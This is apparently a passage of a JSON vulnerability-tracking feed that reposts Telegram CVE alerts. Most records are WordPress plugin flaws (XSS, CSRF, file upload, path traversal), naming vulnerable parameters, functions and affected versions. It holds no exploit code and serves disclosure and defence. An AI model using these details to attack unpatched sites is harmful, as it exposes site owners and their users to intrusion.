Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12291\n\ud83d\udd39 Description: The ViewMedica 9 plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.15. This is due to missing or incorrect nonce validation on a function. This makes it possible for unauthenticated attackers to inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:22:01.768Z\n\ud83d\udccf Modified: 2025-01-07T04:22:01.768Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/646ba700-28d5-455f-88de-2864ef8f202c?source=cve\n2. https://wordpress.org/plugins/viewmedica/#developers", "creation_timestamp": "2025-01-07T04:39:22.000000Z"}, {"uuid": "4adbed67-8f79-4ab9-b2ed-1c9a821125e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12384", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/328", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12384\n\ud83d\udd39 Description: The Binary MLM Woocommerce plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page\u2019 parameter in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T05:24:09.839Z\n\ud83d\udccf Modified: 2025-01-07T05:24:09.839Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/fdf6b2ea-5a6a-481b-9431-650c895f54ef?source=cve\n2. https://plugins.trac.wordpress.org/browser/woo-binary-mlm/trunk/includes/admin/payout/payout-report.php#L44\n3. https://plugins.trac.wordpress.org/browser/woo-binary-mlm/trunk/includes/admin/payout/payout-report.php#L121\n4. https://plugins.trac.wordpress.org/browser/woo-binary-mlm/trunk/includes/admin/register-first-user.php#L82", "creation_timestamp": "2025-01-07T05:36:20.000000Z"}, {"uuid": "3e3aaff0-290b-4aca-be19-bb93d794e8e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12471", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/334", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12471\n\ud83d\udd39 Description: The Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator plugin for WordPress is vulnerable to arbitrary files uploads due to a missing capability check and file type validation on the add_image_to_library AJAX action function in all versions up to, and including, 1.3.1. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload arbitrary files that make remote code execution possible.\n\ud83d\udccf Published: 2025-01-07T05:23:57.597Z\n\ud83d\udccf Modified: 2025-01-07T05:23:57.597Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/bc17284e-65ea-4e67-aba9-3475f0174657?source=cve\n2. https://wordpress.org/plugins/post-saint/", "creation_timestamp": "2025-01-07T05:38:00.000000Z"}, {"uuid": "eafcb469-74c6-4f1b-9cfa-4bb0c53361f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12073", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/333", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12073\n\ud83d\udd39 Description: The Meteor Slides plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'slide_url_value' parameter in all versions up to, and including, 1.5.7 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T05:23:57.939Z\n\ud83d\udccf Modified: 2025-01-07T05:23:57.939Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/be913494-f4a7-4718-ac2b-da4baf2b0a21?source=cve\n2. https://wordpress.org/plugins/meteor-slides/", "creation_timestamp": "2025-01-07T05:37:54.000000Z"}, {"uuid": "a2825fc0-21f5-45ae-a073-3021b920c317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12440", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/332", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12440\n\ud83d\udd39 Description: The Candifly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'candifly' shortcode in all versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T05:23:58.291Z\n\ud83d\udccf Modified: 2025-01-07T05:23:58.291Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/bf173ccd-23bc-49ec-92e0-032feae0fa4a?source=cve\n2. https://plugins.trac.wordpress.org/browser/candifly/trunk/candifly.php\n3. https://wordpress.org/plugins/candifly/", "creation_timestamp": "2025-01-07T05:37:45.000000Z"}, {"uuid": "c92084d9-6825-4f07-a512-13891bac9084", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12261", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/341", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12261\n\ud83d\udd39 Description: The SmartEmailing.cz plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'se-lists-updated' parameter in all versions up to, and including, 2.2.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T05:23:54.620Z\n\ud83d\udccf Modified: 2025-01-07T05:23:54.620Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7332c21a-3501-4066-b7b7-34914a228d8f?source=cve\n2. https://wordpress.org/plugins/smartemailing/", "creation_timestamp": "2025-01-07T05:38:39.000000Z"}, {"uuid": "8fb4657e-bd79-40a2-9674-21d26e90b7f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12464", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/340", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12464\n\ud83d\udd39 Description: The Chatroll Live Chat plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'chatroll' shortcode in all versions up to, and including, 2.5.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T05:23:55.106Z\n\ud83d\udccf Modified: 2025-01-07T05:23:55.106Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/87fdadcd-b776-471a-9756-708e384de4f0?source=cve\n2. https://plugins.trac.wordpress.org/browser/chatroll-live-chat/tags/2.5.0/chatroll.php#L62", "creation_timestamp": "2025-01-07T05:38:32.000000Z"}, {"uuid": "5e6931b8-3ef6-477c-86a2-5d8297e105cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12535", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/339", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12535\n\ud83d\udd39 Description: The Host PHP Info plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check when including the 'phpinfo' function in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to read configuration settings and predefined variables on the site's server. The plugin does not need to be activated for the vulnerability to be exploited.\n\ud83d\udccf Published: 2025-01-07T05:23:55.768Z\n\ud83d\udccf Modified: 2025-01-07T05:23:55.768Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/88d27385-9b92-419c-9e03-687d7192bbb5?source=cve\n2. https://plugins.trac.wordpress.org/browser/host-php-info/trunk/info.php#L2", "creation_timestamp": "2025-01-07T05:38:26.000000Z"}, {"uuid": "40da14c5-be71-4ceb-b41a-9c8fe9b642e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12711", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/391", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12711\n\ud83d\udd39 Description: The RSVP and Event Management plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several AJAX functions like bulk_delete_attendees() and bulk_delete_questions() in all versions up to, and including, 2.7.13. This makes it possible for unauthenticated attackers to delete questions and attendees and for authenticated users to update question menu orders.\n\ud83d\udccf Published: 2025-01-07T11:11:11.944Z\n\ud83d\udccf Modified: 2025-01-07T11:11:11.944Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d234212a-2019-477d-81d1-b2acc2321055?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3216473%40rsvp&new=3216473%40rsvp&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-07T11:37:08.000000Z"}, {"uuid": "0b7b97c2-d4cf-4093-90d3-5ac6b784a9d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12438", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/337", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12438\n\ud83d\udd39 Description: The WooCommerce Digital Content Delivery (incl. DRM) \u2013 FlickRocket plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'start_date\u2019 and 'end_date' parameters in all versions up to, and including, 4.74 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T05:23:56.544Z\n\ud83d\udccf Modified: 2025-01-07T05:23:56.544Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/aa3909f6-fd2f-44e7-83b5-51c8cda4b20f?source=cve\n2. https://plugins.trac.wordpress.org/browser/woocommerce-digital-content-delivery-with-drm-flickrocket/trunk/woocommerce-flickrocket.php#L613\n3. https://plugins.trac.wordpress.org/browser/woocommerce-digital-content-delivery-with-drm-flickrocket/trunk/woocommerce-flickrocket.php#L614\n4. https://plugins.trac.wordpress.org/browser/woocommerce-digital-content-delivery-with-drm-flickrocket/trunk/woocommerce-flickrocket.php#L629\n5. https://plugins.trac.wordpress.org/browser/woocommerce-digital-content-delivery-with-drm-flickrocket/trunk/woocommerce-flickrocket.php#L632\n6. https://plugins.trac.wordpress.org/browser/woocommerce-digital-content-delivery-with-drm-flickrocket/trunk/woocommerce-flickrocket.php#L655\n7. https://plugins.trac.wordpress.org/browser/woocommerce-digital-content-delivery-with-drm-flickrocket/trunk/woocommerce-flickrocket.php#L658", "creation_timestamp": "2025-01-07T05:38:16.000000Z"}, {"uuid": "c79a9557-28a8-47bb-970c-f77aa5682194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12429", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/530", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12429\n\ud83d\udd39 Description: An attacker who successfully exploited these vulnerabilities could grant read access to files.\u00a0A vulnerability exists in the AC500 V3 version mentioned. A\u00a0successfully \nauthenticated attacker can use this vulnerability to read system wide files and configuration\n\n\nAll AC500 V3 products (PM5xxx) with firmware version earlier than 3.8.0 are affected by this vulnerability.\n\ud83d\udccf Published: 2025-01-07T16:53:41.269Z\n\ud83d\udccf Modified: 2025-01-07T17:45:25.384Z\n\ud83d\udd17 References:\n1. https://search.abb.com/library/Download.aspx?DocumentID=3ADR011377&LanguageCode=en&DocumentPartId=&Action=Launch", "creation_timestamp": "2025-01-07T18:40:56.000000Z"}, {"uuid": "68b21abb-7b80-4573-b51a-682223279f32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12462", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/453", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12462\n\ud83d\udd39 Description: The YOGO Booking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'yogo-calendar' shortcode in all versions up to, and including, 1.6.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T04:21:55.629Z\n\ud83d\udccf Modified: 2025-01-07T16:26:05.501Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/151b0aa9-c5c9-48ab-8b73-22ee42666824?source=cve\n2. https://plugins.trac.wordpress.org/browser/yogo-booking/trunk/src/shortcodes.php#L13\n3. https://wordpress.org/plugins/yogo-booking", "creation_timestamp": "2025-01-07T16:37:42.000000Z"}, {"uuid": "addbaf2a-21ca-477a-87c5-a6d81436b2bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12077", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/364", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12077\n\ud83d\udd39 Description: The Booking Calendar and Booking Calendar Pro plugins for WordPress are vulnerable to Reflected Cross-Site Scripting via the \u2018calendar_id\u2019 parameter in all versions up to, and including, 3.2.19 and 11.2.19 respectively, due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T07:22:33.559Z\n\ud83d\udccf Modified: 2025-01-07T07:22:33.559Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/81cc09ee-da3d-407d-82c0-542b56df5aed?source=cve\n2. https://plugins.trac.wordpress.org/browser/booking-calendar/tags/3.2.16/admin/views/Reservations.php#L528\n3. https://plugins.trac.wordpress.org/browser/booking-calendar/tags/3.2.16/admin/views/Reservations.php#L532\n4. https://plugins.trac.wordpress.org/changeset/3209851/", "creation_timestamp": "2025-01-07T07:36:56.000000Z"}, {"uuid": "da1b304b-3c6f-4a22-82b9-d212b6e8d21a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12731", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/893", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12731\n\ud83d\udd39 Description: The Aklamator INfeed WordPress plugin through 2.0.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.\n\ud83d\udccf Published: 2025-01-09T06:00:08.319Z\n\ud83d\udccf Modified: 2025-01-09T06:00:08.319Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/e1c3754f-60e0-4a89-b4fc-89056dba3616/", "creation_timestamp": "2025-01-09T06:17:34.000000Z"}, {"uuid": "b12c0b3c-40f2-49a6-b5a9-53551d086e8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12495", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/371", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12495\n\ud83d\udd39 Description: The Bootstrap Blocks for WP Editor v2 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'gtb-bootstrap/column' block in all versions up to, and including, 2.5.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-01-07T06:40:58.027Z\n\ud83d\udccf Modified: 2025-01-07T06:40:58.027Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/4e9e9afc-89a0-444d-ad5b-975e0f3c19d5?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3213432%40wp-editor-bootstrap-blocks&new=3213432%40wp-editor-bootstrap-blocks&sfp_email=&sfph_mail=#file33", "creation_timestamp": "2025-01-07T07:37:37.000000Z"}, {"uuid": "79da656d-c0cf-4bff-b0db-ff60e0db3a55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12719", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/385", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12719\n\ud83d\udd39 Description: The WordPress File Upload plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'wfu_ajax_action_read_subfolders' function in all versions up to, and including, 4.24.15. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform limited path traversal to view directories and subdirectories in WordPress. Files cannot be viewed.\n\ud83d\udccf Published: 2025-01-07T09:22:14.971Z\n\ud83d\udccf Modified: 2025-01-07T09:22:14.971Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/314ae0f5-8a4e-4bf3-9fc9-49f5b036b99e?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-file-upload/trunk/lib/wfu_ajaxactions.php#L849\n3. https://plugins.trac.wordpress.org/changeset/3217005/", "creation_timestamp": "2025-01-07T09:36:37.000000Z"}, {"uuid": "74534b97-e064-4835-a117-c679fe917654", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12152", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/384", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12152\n\ud83d\udd39 Description: The MIPL WC Multisite Sync plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.1.5 via the 'mipl_wc_sync_download_log' action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.\n\ud83d\udccf Published: 2025-01-07T09:22:15.610Z\n\ud83d\udccf Modified: 2025-01-07T09:22:15.610Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/575d1e24-d23d-4589-bb71-f52efec1ac58?source=cve\n2. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3216574%40mipl-wc-multisite-sync&new=3216574%40mipl-wc-multisite-sync&sfp_email=&sfph_mail=\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3215735%40mipl-wc-multisite-sync&new=3215735%40mipl-wc-multisite-sync&sfp_email=&sfph_mail=", "creation_timestamp": "2025-01-07T09:36:31.000000Z"}, {"uuid": "0d5fff2e-cf2e-410f-865d-b2c39d172bf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12033", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/393", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12033\n\ud83d\udd39 Description: The Jupiter X Core plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on the sync_libraries() function in all versions up to, and including, 4.8.5. This makes it possible for authenticated attackers, with Subscriber-level access and above, to sync libraries\n\ud83d\udccf Published: 2025-01-07T11:11:11.179Z\n\ud83d\udccf Modified: 2025-01-07T11:11:11.179Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/7e452aa0-bfb9-4805-b2ed-53464a4b5308?source=cve\n2. https://plugins.trac.wordpress.org/changeset/3214798/jupiterx-core/trunk/includes/extensions/raven/includes/plugin.php", "creation_timestamp": "2025-01-07T11:37:23.000000Z"}, {"uuid": "798a9b0b-1633-4dad-8053-e53a2e6a69f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12569", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/389", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12569\n\ud83d\udd39 Description: Disclosure\nof sensitive information in a Milestone XProtect Device Pack driver\u2019s log file for third-party cameras, allows an attacker to read camera\ncredentials stored in the Recording Server under specific conditions.\n\ud83d\udccf Published: 2024-12-19T08:41:33.342Z\n\ud83d\udccf Modified: 2025-01-07T09:58:47.238Z\n\ud83d\udd17 References:\n1. https://supportcommunity.milestonesys.com/KBRedir?art=000067740&lang=en_US", "creation_timestamp": "2025-01-07T10:36:32.000000Z"}, {"uuid": "11f11efe-6edf-483c-bc50-5232fd8c7e14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12316", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/394", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12316\n\ud83d\udd39 Description: The Jupiter X Core plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the export_popup_action() function in all versions up to, and including, 4.8.5. This makes it possible for unauthenticated attackers to export popup templates.\n\ud83d\udccf Published: 2025-01-07T11:11:10.560Z\n\ud83d\udccf Modified: 2025-01-07T11:11:10.560Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/5db195c1-8917-4465-a5ca-21089afb0bc7?source=cve\n2. https://plugins.trac.wordpress.org/browser/jupiterx-core/trunk/includes/popups/class.php#L475\n3. https://plugins.trac.wordpress.org/changeset/3214798/jupiterx-core/trunk/includes/popups/class.php", "creation_timestamp": "2025-01-07T11:37:29.000000Z"}, {"uuid": "ab111a71-66b4-4b21-95a7-f199d3469aab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12214", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/458", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12214\n\ud83d\udd39 Description: The WooCommerce HSS Extension for Streaming Video plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018videolink\u2019 parameter in all versions up to, and including, 3.31 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:21:57.210Z\n\ud83d\udccf Modified: 2025-01-07T16:25:22.605Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/1d633f71-3b2b-4fe3-80f1-4c2dcc86313c?source=cve\n2. https://wordpress.org/plugins/woocommerce-hss-extension-for-streaming-video/#developers", "creation_timestamp": "2025-01-07T16:39:11.000000Z"}, {"uuid": "c5845de8-77bd-41e4-be07-cd19bd928126", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12288", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/464", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12288\n\ud83d\udd39 Description: The Simple add pages or posts plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.0.0. This is due to missing or incorrect nonce validation. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.\n\ud83d\udccf Published: 2025-01-07T04:21:59.023Z\n\ud83d\udccf Modified: 2025-01-07T16:24:15.766Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/506f101c-ffec-415d-92dc-99cb7384af95?source=cve\n2. https://plugins.trac.wordpress.org/browser/simple-add-pages-or-posts/tags/2.0.0/form.php#L243\n3. https://wordpress.org/plugins/simple-add-pages-or-posts/#developers", "creation_timestamp": "2025-01-07T16:41:03.000000Z"}, {"uuid": "e35fcce0-ffe3-4ef5-89b8-25bd324b3aca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12738", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/427", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12738\n\ud83d\udd39 Description: The User Profile Builder \u2013 Beautiful User Registration Forms, User Profiles & User Role Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several user meta parameters in all versions up to, and including, 3.12.9 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page and clicks a link to show user meta.\n\ud83d\udccf Published: 2025-01-07T12:43:40.348Z\n\ud83d\udccf Modified: 2025-01-07T12:43:40.348Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/51b626e1-89c0-49b9-bfeb-32005e8e78d6?source=cve\n2. https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.12.8/features/email-confirmation/class-email-confirmation.php\n3. https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.12.8/features/email-confirmation/class-email-confirmation.php#L95\n4. https://plugins.trac.wordpress.org/changeset/3217544/", "creation_timestamp": "2025-01-07T13:37:50.000000Z"}, {"uuid": "25e20539-7181-491c-b0b0-1e120fc74a44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12131", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/426", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12131\n\ud83d\udd39 Description: The WP Job Portal \u2013 A Complete Recruitment System for Company or Job Board website plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2.5 due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Subscriber-level access and above, to submit resumes for other applicants when applying for jobs.\n\ud83d\udccf Published: 2025-01-07T12:43:40.934Z\n\ud83d\udccf Modified: 2025-01-07T12:43:40.934Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/b4772ab0-41cd-4b35-bda9-d72e0fd7b7a5?source=cve\n2. https://plugins.trac.wordpress.org/browser/wp-job-portal/tags/2.2.6/modules/jobapply/model.php?rev=3216415", "creation_timestamp": "2025-01-07T13:37:04.000000Z"}, {"uuid": "684d75da-ad1d-4e2b-a6fc-65eaa2249416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12126", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/461", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat 